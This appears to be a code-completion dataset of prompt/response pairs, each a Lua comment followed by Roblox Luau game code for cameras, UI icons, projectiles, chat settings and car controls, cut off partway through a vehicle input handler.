-- When supplied, legacyCameraType is used and cameraMovementMode is ignored (should be nil anyways)
-- Next, if userCameraCreator is passed in, that is used as the cameraCreator

Response:
function CameraModule:ActivateCameraController(cameraMovementMode, legacyCameraType)
	local newCameraCreator = nil

	if legacyCameraType~=nil then
		--[[
			This function has been passed a CameraType enum value. Some of these map to the use of
			the LegacyCamera module, the value "Custom" will be translated to a movementMode enum
			value based on Dev and User settings, and "Scriptable" will disable the camera controller.
		--]]

		if legacyCameraType == Enum.CameraType.Scriptable then
			if self.activeCameraController then
				self.activeCameraController:Enable(false)
				self.activeCameraController = nil
				return
			end
		elseif legacyCameraType == Enum.CameraType.Custom then
			cameraMovementMode = self:GetCameraMovementModeFromSettings()

		elseif legacyCameraType == Enum.CameraType.Track then
			-- Note: The TrackCamera module was basically an older, less fully-featured
			-- version of ClassicCamera, no longer actively maintained, but it is re-implemented in
			-- case a game was dependent on its lack of ClassicCamera's extra functionality.
			cameraMovementMode = Enum.ComputerCameraMovementMode.Classic

		elseif legacyCameraType == Enum.CameraType.Follow then
			cameraMovementMode = Enum.ComputerCameraMovementMode.Follow

		elseif legacyCameraType == Enum.CameraType.Orbital then
			cameraMovementMode = Enum.ComputerCameraMovementMode.Orbital

		elseif legacyCameraType == Enum.CameraType.Attach or
			   legacyCameraType == Enum.CameraType.Watch or
			   legacyCameraType == Enum.CameraType.Fixed then
			newCameraCreator = LegacyCamera
		else
			warn("CameraScript encountered an unhandled Camera.CameraType value: ",legacyCameraType)
		end
	end

	if not newCameraCreator then
		if cameraMovementMode == Enum.ComputerCameraMovementMode.Classic or
			cameraMovementMode == Enum.ComputerCameraMovementMode.Follow or
			cameraMovementMode == Enum.ComputerCameraMovementMode.Default or
			cameraMovementMode == Enum.ComputerCameraMovementMode.CameraToggle then
			newCameraCreator = ClassicCamera
		elseif cameraMovementMode == Enum.ComputerCameraMovementMode.Orbital then
			newCameraCreator = OrbitalCamera
		else
			--warn("ActivateCameraController did not select a module.")
			return
		end
	end

	local isVehicleCamera = self:ShouldUseVehicleCamera()
	if isVehicleCamera then
		newCameraCreator = VehicleCamera
	end

	-- Create the camera control module we need if it does not already exist in instantiatedCameraControllers
	local newCameraController
	if not instantiatedCameraControllers[newCameraCreator] then
		newCameraController = newCameraCreator.new()
		instantiatedCameraControllers[newCameraCreator] = newCameraController
	else
		newCameraController = instantiatedCameraControllers[newCameraCreator]
		if newCameraController.Reset then
			newCameraController:Reset()
		end
	end

	if self.activeCameraController then
		-- deactivate the old controller and activate the new one
		if self.activeCameraController ~= newCameraController then
			self.activeCameraController:Enable(false)
			self.activeCameraController = newCameraController
			self.activeCameraController:Enable(true)
		elseif not self.activeCameraController:GetEnabled() then
			self.activeCameraController:Enable(true)
		end
	elseif newCameraController ~= nil then
		-- only activate the new controller
		self.activeCameraController = newCameraController
		self.activeCameraController:Enable(true)
	end

	if self.activeCameraController then
		if cameraMovementMode~=nil then
			self.activeCameraController:SetCameraMovementMode(cameraMovementMode)
		elseif legacyCameraType~=nil then
			-- Note that this is only called when legacyCameraType is not a type that
			-- was convertible to a ComputerCameraMovementMode value, i.e. really only applies to LegacyCamera
			self.activeCameraController:SetCameraType(legacyCameraType)
		end
	end
end


Prompt:
--[=[
	Mounts children to the parent and returns an object which will cleanup and delete
	all children when removed.

	Note that this effectively recursively mounts children and their values, which is
	the heart of the reactive tree.

	```lua
	Blend.New "ScreenGui" {
		Parent = game.Players.LocalPlayer.PlayerGui;
		[Blend.Children] = {
			Blend.New "Frame" {
				Size = UDim2.new(1, 0, 1, 0);
				BackgroundTransparency = 0.5;
			};
		};
	};
	```

	Rules:

	* `{ Instance }` -Tables of instances are all parented to the parent
	* Brio<Instance> will last for the lifetime of the brio
	* Brio<Observable<Instance>> will last for the lifetime of the brio
		* Brio<Signal<Instance>> will also act as above
		* Brio<Promise<Instance>> will also act as above
		* Brio<{ Instance } will also act as above
	* Observable<Instance> will parent to the parent
		* Signal<Instance> will act as Observable<Instance>
		* ValueObject<Instance> will act as an Observable<Instance>
		* Promise<Instance> will act as an Observable<Instance>
	*  will parent all instances to the parent
	* Observables may emit non-observables (in form of Computed/Dynamic)
		* Observable<Brio<Instance>> will last for the lifetime of the brio, and parent the instance.
		* Observable<Observable<Instance>> occurs when computed returns a value.
	* ValueObject<Instance> will switch to the current value

	Cleanup:
	* Instances will be cleaned up on unsubscribe

	@param parent Instance
	@param value any
	@return MaidTask
]=]

Response:
function Blend.Children(parent, value)
	assert(typeof(parent) == "Instance", "Bad parent")

	local observe = Blend._observeChildren(value)
	if observe then
		return observe:Pipe({
			Rx.tap(function(child)
				child.Parent = parent;
			end);
		})
	else
		return Rx.EMPTY
	end
end


Prompt: ----- Script: -----

Response:
Button.Activated:Connect(function()
	if Information.Case.Value == 0 then
		Messages.Type.SelectPackage.Value = true
		Messages.FireMessage.Value = true
	elseif Information.Case.Value == 1 then
		BuyCaseEvents.Case1:FireServer(Information.PricePoints.Value,Information.PriceGems.Value,false)
	end
end)


Prompt: -- Ctor

Response:
function ActiveCastStatic.new(caster: Caster, origin: Vector3, direction: Vector3, velocity: Vector3 | number, castDataPacket: FastCastBehavior): ActiveCast
	if typeof(velocity) == "number" then
		velocity = direction.Unit * velocity
	end

	if (castDataPacket.HighFidelitySegmentSize <= 0) then
		error("Cannot set FastCastBehavior.HighFidelitySegmentSize <= 0!", 0)
	end

	-- Basic setup
	local cast = {
		Caster = caster,

		-- Data that keeps track of what's going on as well as edits we might make during runtime.
		StateInfo = {
			UpdateConnection = nil,
			Paused = false,
			TotalRuntime = 0,
			DistanceCovered = 0,
			HighFidelitySegmentSize = castDataPacket.HighFidelitySegmentSize,
			HighFidelityBehavior = castDataPacket.HighFidelityBehavior,
			IsActivelySimulatingPierce = false,
			IsActivelyResimulating = false,
			CancelHighResCast = false,
			Trajectories = {
				{
					StartTime = 0,
					EndTime = -1,
					Origin = origin,
					InitialVelocity = velocity,
					Acceleration = castDataPacket.Acceleration
				}
			}
		},

		-- Information pertaining to actual raycasting.
		RayInfo = {
			Parameters = castDataPacket.RaycastParams,
			WorldRoot = workspace,
			MaxDistance = castDataPacket.MaxDistance or 1000,
			CosmeticBulletObject = castDataPacket.CosmeticBulletTemplate, -- This is intended. We clone it a smidge of the way down.
			CanPierceCallback = castDataPacket.CanPierceFunction
		},

		UserData = {}
	}

	if cast.StateInfo.HighFidelityBehavior == 2 then
		cast.StateInfo.HighFidelityBehavior = 3
	end

	if cast.RayInfo.Parameters ~= nil then
		cast.RayInfo.Parameters = CloneCastParams(cast.RayInfo.Parameters)
	else
		cast.RayInfo.Parameters = RaycastParams.new()
	end

	local usingProvider = false
	if castDataPacket.CosmeticBulletProvider == nil then
		-- The provider is nil. Use a cosmetic object clone.
		if cast.RayInfo.CosmeticBulletObject ~= nil then
			cast.RayInfo.CosmeticBulletObject = cast.RayInfo.CosmeticBulletObject:Clone()
			cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
			cast.RayInfo.CosmeticBulletObject.Parent = castDataPacket.CosmeticBulletContainer
		end
	else
		-- The provider is not nil.
		-- Is it what we want?
		if typeof(castDataPacket.CosmeticBulletProvider) == "PartCache" then
			-- this modded version of typeof is implemented up top.
			-- Aside from that, yes, it's a part cache. Good to go!

			if cast.RayInfo.CosmeticBulletObject ~= nil then
				-- They also set the template. Not good. Warn + clear this up.
				warn("Do not define FastCastBehavior.CosmeticBulletTemplate and FastCastBehavior.CosmeticBulletProvider at the same time! The provider will be used, and CosmeticBulletTemplate will be set to nil.")
				cast.RayInfo.CosmeticBulletObject = nil
				castDataPacket.CosmeticBulletTemplate = nil
			end

			cast.RayInfo.CosmeticBulletObject = castDataPacket.CosmeticBulletProvider:GetPart()
			cast.RayInfo.CosmeticBulletObject.CFrame = CFrame.new(origin, origin + direction)
			usingProvider = true
		else
			warn("FastCastBehavior.CosmeticBulletProvider was not an instance of the PartCache module (an external/separate model)! Are you inputting an instance created via PartCache.new? If so, are you on the latest version of PartCache? Setting FastCastBehavior.CosmeticBulletProvider to nil.")
			castDataPacket.CosmeticBulletProvider = nil
		end
	end

	local targetContainer: Instance;
	if usingProvider then
		targetContainer = castDataPacket.CosmeticBulletProvider.CurrentCacheParent
	else
		targetContainer = castDataPacket.CosmeticBulletContainer
	end

	if castDataPacket.AutoIgnoreContainer == true and targetContainer ~= nil then
		local ignoreList = cast.RayInfo.Parameters.FilterDescendantsInstances
		if table.find(ignoreList, targetContainer) == nil then
			table.insert(ignoreList, targetContainer)
			cast.RayInfo.Parameters.FilterDescendantsInstances = ignoreList
		end
	end

	local event
	if RunService:IsClient() then
		event = RunService.RenderStepped
	else
		event = RunService.Heartbeat
	end

	setmetatable(cast, ActiveCastStatic)

	cast.StateInfo.UpdateConnection = event:Connect(function (delta)
		if cast.StateInfo.Paused then return end

		PrintDebug("Casting for frame.")
		local latestTrajectory = cast.StateInfo.Trajectories[#cast.StateInfo.Trajectories]
		if (cast.StateInfo.HighFidelityBehavior == 3 and latestTrajectory.Acceleration ~= Vector3.new() and cast.StateInfo.HighFidelitySegmentSize > 0) then

			local timeAtStart = tick()

			if cast.StateInfo.IsActivelyResimulating then
				cast:Terminate()
				error("Cascading cast lag encountered! The caster attempted to perform a high fidelity cast before the previous one completed, resulting in exponential cast lag. Consider increasing HighFidelitySegmentSize.")
			end

			cast.StateInfo.IsActivelyResimulating = true

			-- Actually want to calculate this early to find displacement
			local origin = latestTrajectory.Origin
			local totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime
			local initialVelocity = latestTrajectory.InitialVelocity
			local acceleration = latestTrajectory.Acceleration

			local lastPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
			local lastVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
			local lastDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime

			cast.StateInfo.TotalRuntime += delta

			-- Recalculate this.
			totalDelta = cast.StateInfo.TotalRuntime - latestTrajectory.StartTime

			local currentPoint = GetPositionAtTime(totalDelta, origin, initialVelocity, acceleration)
			local currentVelocity = GetVelocityAtTime(totalDelta, initialVelocity, acceleration)
			local totalDisplacement = currentPoint - lastPoint -- This is the displacement from where the ray was on the last from to where the ray is now.

			local rayDir = totalDisplacement.Unit * currentVelocity.Magnitude * delta
			local targetWorldRoot = cast.RayInfo.WorldRoot
			local resultOfCast = targetWorldRoot:Raycast(lastPoint, rayDir, cast.RayInfo.Parameters)

			local point = currentPoint

			if (resultOfCast ~= nil) then
				point = resultOfCast.Position
			end

			local rayDisplacement = (point - lastPoint).Magnitude

			-- Now undo this. The line below in the for loop will add this time back gradually.
			cast.StateInfo.TotalRuntime -= delta

			-- And now that we have displacement, we can calculate segment size.
			local numSegmentsDecimal = rayDisplacement / cast.StateInfo.HighFidelitySegmentSize -- say rayDisplacement is 5.1, segment size is 0.5 -- 10.2 segments
			local numSegmentsReal = math.floor(numSegmentsDecimal) -- 10 segments + 0.2 extra segments
			if (numSegmentsReal == 0) then
				numSegmentsReal = 1
			end

			local timeIncrement = delta / numSegmentsReal

			for segmentIndex = 1, numSegmentsReal do
				if getmetatable(cast) == nil then return end -- Could have been disposed.
				if cast.StateInfo.CancelHighResCast then
					cast.StateInfo.CancelHighResCast = false
					break
				end
				PrintDebug("[" .. segmentIndex .. "] Subcast of time increment " .. timeIncrement)
				SimulateCast(cast, timeIncrement, true)
			end

			if getmetatable(cast) == nil then return end -- Could have been disposed.
			cast.StateInfo.IsActivelyResimulating = false

			if (tick() - timeAtStart) > 0.016 * 5 then
				warn("Extreme cast lag encountered! Consider increasing HighFidelitySegmentSize.")
			end

		else
			SimulateCast(cast, delta, false)
		end
	end)

	return cast
end

function ActiveCastStatic.SetStaticFastCastReference(ref)
	FastCast = ref
end


Prompt: -- Carregue a animação no animador

Response: local idleAnimationTrack = animator:LoadAnimation(idleAnimation)


Prompt: --Made by Luckymaxer

Response:
Players = game:GetService("Players")
Debris = game:GetService("Debris")

Functions = {}

function Functions.IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function Functions.TagHumanoid(humanoid, player)
	local Creator_Tag = Instance.new("ObjectValue")
	Creator_Tag.Name = "creator"
	Creator_Tag.Value = player
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function Functions.UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

return Functions


Prompt:
------------------------------------------------------------------------
-- Expression parsing starts here. Function subexpr is entered with the
-- left operator (which is non-existent) priority of -1, which is lower
-- than all actual operators. Expr information is returned in parm v.
-- * used in multiple locations
------------------------------------------------------------------------

Response:
function luaY:expr(ls, v)
  self:subexpr(ls, v, 0)
end


Prompt: -- loop to handle timed state transitions

Response:
while Character.Parent ~= nil do
	local currentGameTime = wait(0.1)
	stepAnimate(currentGameTime)
end


Prompt: --	part3.Anchored = true

Response: part3.Position = Vector3.new(x3,1.5,z3)


Prompt: -- Make a base cosmetic bullet object. This will be cloned every time we fire off a ray.

Response:
local CosmeticBullet = Instance.new("Part")
CosmeticBullet.Material = Enum.Material.Neon
CosmeticBullet.Color = Color3.fromRGB(8, 255, 8)
CosmeticBullet.CanCollide = false
CosmeticBullet.Anchored = true
CosmeticBullet.Size = Vector3.new(0.75, 0.75, 2.4)


Prompt: --!GENERATED

Response:
local Rain = require(script.Rain)

Rain:SetColor(Color3.fromRGB(script.Color.Value.x, script.Color.Value.y, script.Color.Value.z))
Rain:SetDirection(script.Direction.Value)

Rain:SetTransparency(script.Transparency.Value)
Rain:SetSpeedRatio(script.SpeedRatio.Value)
Rain:SetIntensityRatio(script.IntensityRatio.Value)
Rain:SetLightInfluence(script.LightInfluence.Value)
Rain:SetLightEmission(script.LightEmission.Value)

Rain:SetVolume(script.Volume.Value)

Rain:SetSoundId(script.SoundId.Value)
Rain:SetStraightTexture(script.StraightTexture.Value)
Rain:SetTopDownTexture(script.TopDownTexture.Value)
Rain:SetSplashTexture(script.SplashTexture.Value)

local threshold = script.TransparencyThreshold.Value
if script.TransparencyConstraint.Value and script.CanCollideConstraint.Value then
	Rain:SetCollisionMode(
		Rain.CollisionMode.Function,
		function(p)
			return p.Transparency <= threshold and p.CanCollide
		end
	)
elseif script.TransparencyConstraint.Value then
	Rain:SetCollisionMode(
		Rain.CollisionMode.Function,
		function(p)
			return p.Transparency <= threshold
		end
	)
elseif script.CanCollideConstraint.Value then
	Rain:SetCollisionMode(
		Rain.CollisionMode.Function,
		function(p)
			return p.CanCollide
		end
	)
end

Rain:Enable()


Prompt:
------------------
--SPAWNING--
------------------
-- credit to miked

Response:
miked=script.Parent

itlh=miked.Torso:findFirstChild("Left Hip")
itlh.Part0=miked.Torso
itlh.Part1=miked:findFirstChild("Left Leg")
itlh.C0=CFrame.new(-1, -1, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)

itrh=miked.Torso:findFirstChild("Right Hip")
itrh.Part0=miked.Torso
itrh.Part1=miked:findFirstChild("Right Leg")
itrh.C0=CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)

itls=miked.Torso:findFirstChild("Left Shoulder")
itls.Part1=miked.Torso
itls.C0=CFrame.new(2, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
itls.Part0=miked:findFirstChild("Left Arm")

itrs=miked.Torso:findFirstChild("Right Shoulder")
itrs.Part1=miked.Torso
itrs.C0=CFrame.new(-2, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
itrs.Part0=miked:findFirstChild("Right Arm")

miked.Head:makeJoints()


Prompt: -- TOGGLEABLE METHODS

Response:
function Icon:setLabel(text, iconState)
	text = text or ""
	self:set("iconText", text, iconState)
	return self
end

function Icon:setCornerRadius(scale, offset, iconState)
	local oldCornerRadius = self.instances.iconCorner.CornerRadius
	local newCornerRadius = UDim.new(scale or oldCornerRadius.Scale, offset or oldCornerRadius.Offset)
	self:set("iconCornerRadius", newCornerRadius, iconState)
	return self
end

function Icon:setImage(imageId, iconState)
	local textureId = (tonumber(imageId) and "http://www.roblox.com/asset/?id="..imageId) or imageId or ""
	return self:set("iconImage", textureId, iconState)
end

function Icon:setOrder(order, iconState)
	local newOrder = tonumber(order) or 1
	return self:set("order", newOrder, iconState)
end

function Icon:setLeft(iconState)
	return self:set("alignment", "left", iconState)
end

function Icon:setMid(iconState)
	return self:set("alignment", "mid", iconState)
end

function Icon:setRight(iconState)
	if not self.internalIcon then
		IconController.setupHealthbar()
	end
	return self:set("alignment", "right", iconState)
end

function Icon:setImageYScale(YScale, iconState)
	local newYScale = tonumber(YScale) or 0.63
	return self:set("iconImageYScale", newYScale, iconState)
end

function Icon:setImageRatio(ratio, iconState)
	local newRatio = tonumber(ratio) or 1
	return self:set("iconImageRatio", newRatio, iconState)
end

function Icon:setLabelYScale(YScale, iconState)
	local newYScale = tonumber(YScale) or 0.45
	return self:set("iconLabelYScale", newYScale, iconState)
end

function Icon:setBaseZIndex(ZIndex, iconState)
	local newBaseZIndex = tonumber(ZIndex) or 1
	return self:set("baseZIndex", newBaseZIndex, iconState)
end

function Icon:_updateBaseZIndex(baseValue)
	local container = self.instances.iconContainer
	local newBaseValue = tonumber(baseValue) or container.ZIndex
	local difference = newBaseValue - container.ZIndex
	if difference == 0 then return "The baseValue is the same" end
	for _, object in pairs(self.instances) do
		object.ZIndex = object.ZIndex + difference
	end
	return true
end

function Icon:setSize(XOffset, YOffset, iconState)
	local newXOffset = tonumber(XOffset) or 32
	local newYOffset = tonumber(YOffset) or newXOffset
	self:set("forcedIconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState)
	self:set("iconSize", UDim2.new(0, newXOffset, 0, newYOffset), iconState)
	return self
end

function Icon:_updateIconSize(_, iconState)
	if self._destroyed then return end
	-- This is responsible for handling the appearance and size of the icons label and image, in additon to its own size
	local X_MARGIN = 12
	local X_GAP = 8

	local values = {
		iconImage = self:get("iconImage", iconState) or "_NIL",
		iconText = self:get("iconText", iconState) or "_NIL",
		iconFont = self:get("iconFont", iconState) or "_NIL",
		iconSize = self:get("iconSize", iconState) or "_NIL",
		forcedIconSize = self:get("forcedIconSize", iconState) or "_NIL",
		iconImageYScale = self:get("iconImageYScale", iconState) or "_NIL",
		iconImageRatio = self:get("iconImageRatio", iconState) or "_NIL",
		iconLabelYScale = self:get("iconLabelYScale", iconState) or "_NIL",
	}
	for k,v in pairs(values) do
		if v == "_NIL" then
			return
		end
	end

	local iconContainer = self.instances.iconContainer
	if not iconContainer.Parent then return end

	-- We calculate the cells dimensions as apposed to reading because there's a possibility the cells dimensions were changed at the exact time and have not yet updated
	-- this essentially saves us from waiting a heartbeat which causes additonal complications
	local cellSizeXOffset = values.iconSize.X.Offset
	local cellSizeXScale = values.iconSize.X.Scale
	local cellWidth = cellSizeXOffset + (cellSizeXScale * iconContainer.Parent.AbsoluteSize.X)
	local minCellWidth = values.forcedIconSize.X.Offset--cellWidth
	local maxCellWidth = (cellSizeXScale > 0 and cellWidth) or 9999
	local cellSizeYOffset = values.iconSize.Y.Offset
	local cellSizeYScale = values.iconSize.Y.Scale
	local cellHeight = cellSizeYOffset + (cellSizeYScale * iconContainer.Parent.AbsoluteSize.Y)
	local labelHeight = cellHeight * values.iconLabelYScale
	local labelWidth = textService:GetTextSize(values.iconText, labelHeight, values.iconFont, Vector2.new(10000, labelHeight)).X
	local imageWidth = cellHeight * values.iconImageYScale * values.iconImageRatio

	local usingImage = values.iconImage ~= ""
	local usingText = values.iconText ~= ""
	local notifPosYScale = 0.5
	local desiredCellWidth
	local preventClippingOffset = labelHeight/2

	if usingImage and not usingText then
		notifPosYScale = 0.45
		self:set("iconImageVisible", true, iconState)
		self:set("iconImageAnchorPoint", Vector2.new(0.5, 0.5), iconState)
		self:set("iconImagePosition", UDim2.new(0.5, 0, 0.5, 0), iconState)
		self:set("iconImageSize", UDim2.new(values.iconImageYScale*values.iconImageRatio, 0, values.iconImageYScale, 0), iconState)
		self:set("iconLabelVisible", false, iconState)

	elseif not usingImage and usingText then
		desiredCellWidth = labelWidth+(X_MARGIN*2)
		self:set("iconLabelVisible", true, iconState)
		self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState)
		self:set("iconLabelPosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState)
		self:set("iconLabelSize", UDim2.new(1, -X_MARGIN*2, values.iconLabelYScale, preventClippingOffset), iconState)
		self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Center, iconState)
		self:set("iconImageVisible", false, iconState)

	elseif usingImage and usingText then
		local labelGap = X_MARGIN + imageWidth + X_GAP
		desiredCellWidth = labelGap + labelWidth + X_MARGIN
		self:set("iconImageVisible", true, iconState)
		self:set("iconImageAnchorPoint", Vector2.new(0, 0.5), iconState)
		self:set("iconImagePosition", UDim2.new(0, X_MARGIN, 0.5, 0), iconState)
		self:set("iconImageSize", UDim2.new(0, imageWidth, values.iconImageYScale, 0), iconState)
		----
		self:set("iconLabelVisible", true, iconState)
		self:set("iconLabelAnchorPoint", Vector2.new(0, 0.5), iconState)
		self:set("iconLabelPosition", UDim2.new(0, labelGap, 0.5, 0), iconState)
		self:set("iconLabelSize", UDim2.new(1, -labelGap-X_MARGIN, values.iconLabelYScale, preventClippingOffset), iconState)
		self:set("iconLabelTextXAlignment", Enum.TextXAlignment.Left, iconState)
	end
	if desiredCellWidth then
		if not self._updatingIconSize then
			self._updatingIconSize = true
			local widthScale = (cellSizeXScale > 0 and cellSizeXScale) or 0
			local widthOffset = (cellSizeXScale > 0 and 0) or math.clamp(desiredCellWidth, minCellWidth, maxCellWidth)
			self:set("iconSize", UDim2.new(widthScale, widthOffset, values.iconSize.Y.Scale, values.iconSize.Y.Offset), iconState, "_ignorePrevious")

			-- This ensures that if an icon is within a dropdown or menu, its container adapts accordingly with this new iconSize value
			local parentIcon = self._parentIcon
			if parentIcon then
				local originalIconSize = UDim2.new(0, desiredCellWidth, 0, values.iconSize.Y.Offset)
				if #parentIcon.dropdownIcons > 0 then
					self:setAdditionalValue("iconSize", "beforeDropdown", originalIconSize, iconState)
					parentIcon:_updateDropdown()
				end
				if #parentIcon.menuIcons > 0 then
					self:setAdditionalValue("iconSize", "beforeMenu", originalIconSize, iconState)
					parentIcon:_updateMenu()
				end
			end

			self._updatingIconSize = false
		end
	end
	self:set("iconLabelTextSize", labelHeight, iconState)
	self:set("noticeFramePosition", UDim2.new(notifPosYScale, 0, 0, -2), iconState)

	self._updatingIconSize = false
end


Prompt: --[[Misc]]

Response:
	Tune.LoadDelay		= .1		-- Delay before initializing chassis (in seconds)
	Tune.AutoStart		= false		-- Set to false if using manual ignition plugin
	Tune.AutoFlip		= false		-- Set to false if using manual flip plugin


Prompt: --returns a table of vector3s that represent the corners of any given part

Response:
function RoomPackager:CornersOfPart(part)
	local cframe = part.CFrame
	local halfSizeX = part.Size.X / 2
	local halfSizeY = part.Size.Y / 2
	local halfSizeZ = part.Size.Z / 2

	local corners = {
		RightTopBack =		cframe:pointToWorldSpace(Vector3.new(halfSizeX, halfSizeY, halfSizeZ)),
		RightBottomBack =	cframe:pointToWorldSpace(Vector3.new(halfSizeX, -halfSizeY, halfSizeZ)),
		RightTopFront =		cframe:pointToWorldSpace(Vector3.new(halfSizeX, halfSizeY, -halfSizeZ)),
		RightBottomFront =	cframe:pointToWorldSpace(Vector3.new(halfSizeX, -halfSizeY, -halfSizeZ)),
		LeftTopBack =		cframe:pointToWorldSpace(Vector3.new(-halfSizeX, halfSizeY, halfSizeZ)),
		LeftBottomBack =	cframe:pointToWorldSpace(Vector3.new(-halfSizeX, -halfSizeY, halfSizeZ)),
		LeftTopFront =		cframe:pointToWorldSpace(Vector3.new(-halfSizeX, halfSizeY, -halfSizeZ)),
		LeftBottomFront =	cframe:pointToWorldSpace(Vector3.new(-halfSizeX, -halfSizeY, -halfSizeZ)),
	}

	return corners
end


Prompt: ---[[ Chat Behaviour Settings ]]

Response:
module.WindowDraggable = false
module.WindowResizable = false
module.ShowChannelsBar = true
module.GamepadNavigationEnabled = false
module.ShowUserOwnFilteredMessage = true	--Show a user the filtered version of their message rather than the original.


Prompt: --// Recoil Settings

Response:
	gunrecoil = -0.3; -- How much the gun recoils backwards when not aiming
	camrecoil = 0.36; -- How much the camera flicks when not aiming
	AimGunRecoil = -0.3; -- How much the gun recoils backwards when aiming
	AimCamRecoil = 0.43; -- How much the camera flicks when aiming

	CamShake = 2; -- THIS IS NEW!!!! CONTROLS CAMERA SHAKE WHEN FIRING
	AimCamShake = 3; -- THIS IS ALSO NEW!!!!

	Kickback = 0.2; -- Upward gun rotation when not aiming
	AimKickback = 0.2; -- Upward gun rotation when aiming


Prompt:
-- list of user ids of who you would like to use this command, requires needswhitelist to be true
-- owner of the game/group is added by default, so you dont need to add them yourself
-- Examples: local whitelist = {1,2,3}


Prompt:
--[[
	Turns a series of specification functions into a test plan.

	Uses a TestPlanBuilder to keep track of the state of the tree being built.
]]

Response:
local TestPlan = require(script.Parent.TestPlan)

local TestPlanner = {}


Prompt: --[[Controls]]

Response:
	local _CTRL = _Tune.Controls
	local Controls = Instance.new("Folder",script.Parent)
	Controls.Name = "Controls"
	for i,v in pairs(_CTRL) do
		local a=Instance.new("StringValue",Controls)
		a.Name=i
		a.Value=v.Name
		a.Changed:connect(function()
			if i=="MouseThrottle" or i=="MouseBrake" then
				if a.Value == "MouseButton1" or a.Value == "MouseButton2" then
					_CTRL[i]=Enum.UserInputType[a.Value]
				else
					_CTRL[i]=Enum.KeyCode[a.Value]
				end
			else
				_CTRL[i]=Enum.KeyCode[a.Value]
			end
		end)
	end

	--Deadzone Adjust
	local _PPH = _Tune.Peripherals
		for i,v in pairs(_PPH) do
		local a = Instance.new("IntValue",Controls)
		a.Name = i
		a.Value = v
		a.Changed:connect(function()
			a.Value=math.min(100,math.max(0,a.Value))
			_PPH[i] = a.Value
		end)
	end

	--Input Handler
	function DealWithInput(input,IsRobloxFunction)
		if (UserInputService:GetFocusedTextBox()==nil) and not _InControls then --Ignore when UI Focus
			--Shift Down [Manual Transmission]
			if _IsOn and  (input.KeyCode ==_CTRL["ContlrShiftDown"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftDown"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftDown"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
				if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
				_CGear = math.max(_CGear-1,-1)
				car.DriveSeat.Filter:FireServer('shift',false)

			--Shift Up [Manual Transmission]
			elseif _IsOn and  (input.KeyCode ==_CTRL["ContlrShiftUp"] or (_MSteer and input.KeyCode==_CTRL["MouseShiftUp"]) or ((not _MSteer) and input.KeyCode==_CTRL["ShiftUp"])) and (_TMode=="Semi" or (_TMode=="Manual" and (not _ClutchOn))) and input.UserInputState == Enum.UserInputState.Begin then
				if _CGear == 0 and (_TMode=="Auto" or not _ClPressing) then _ClutchOn = true end
				_CGear = math.min(_CGear+1,#_Tune.Ratios-2)
				car.DriveSeat.Filter:FireServer('shift',true)

			--Toggle Clutch
			elseif _IsOn and  (input.KeyCode ==_CTRL["ContlrClutch"] or (_MSteer and input.KeyCode==_CTRL["MouseClutch"]) or ((not _MSteer) and input.KeyCode==_CTRL["Clutch"])) and _TMode=="Manual" then
				if input.UserInputState == Enum.UserInputState.Begin then
					_ClutchOn = false
					_ClPressing = true
				elseif input.UserInputState == Enum.UserInputState.End then
					_ClutchOn = true
					_ClPressing = false
				end

			--Toggle PBrake
			elseif _IsOn and  input.KeyCode ==_CTRL["ContlrPBrake"] or (_MSteer and input.KeyCode==_CTRL["MousePBrake"]) or ((not _MSteer) and input.KeyCode==_CTRL["PBrake"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_PBrake = not _PBrake
				elseif input.UserInputState == Enum.UserInputState.End then
					if car.DriveSeat.Velocity.Magnitude>5 then
						_PBrake = false
					end
				end

			--Toggle Transmission Mode
			elseif (input.KeyCode == _CTRL["ContlrToggleTMode"] or input.KeyCode==_CTRL["ToggleTransMode"]) and input.UserInputState == Enum.UserInputState.Begin then
				local n=1
				for i,v in pairs(_Tune.TransModes) do
					if v==_TMode then n=i break end
				end
				n=n+1
				if n>#_Tune.TransModes then n=1 end
				_TMode = _Tune.TransModes[n]

			--Throttle
			elseif _IsOn and ((not _MSteer) and (input.KeyCode==_CTRL["Throttle"] or input.KeyCode == _CTRL["Throttle2"])) or ((((_CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseThrottle"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseThrottle"]) or input.KeyCode == _CTRL["MouseThrottle"])and _MSteer) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GThrot = 1
				else
					_GThrot = _Tune.IdleThrottle/100
				end

			--Brake
			elseif ((not _MSteer) and (input.KeyCode==_CTRL["Brake"] or input.KeyCode == _CTRL["Brake2"])) or ((((_CTRL["MouseBrake"]==Enum.UserInputType.MouseButton1 or _CTRL["MouseBrake"]==Enum.UserInputType.MouseButton2) and input.UserInputType == _CTRL["MouseBrake"]) or input.KeyCode == _CTRL["MouseBrake"])and _MSteer) then
				if input.UserInputState == Enum.UserInputState.Begin then
					_GBrake = 1
				else
					_GBrake = 0
				end

			--Steer Left
			elseif (not _MSteer) and (input.KeyCode==_CTRL["SteerLeft"] or input.KeyCode == _CTRL["SteerLeft2"]) then
				if input.UserInputState == Enum.UserInputState.Begin then
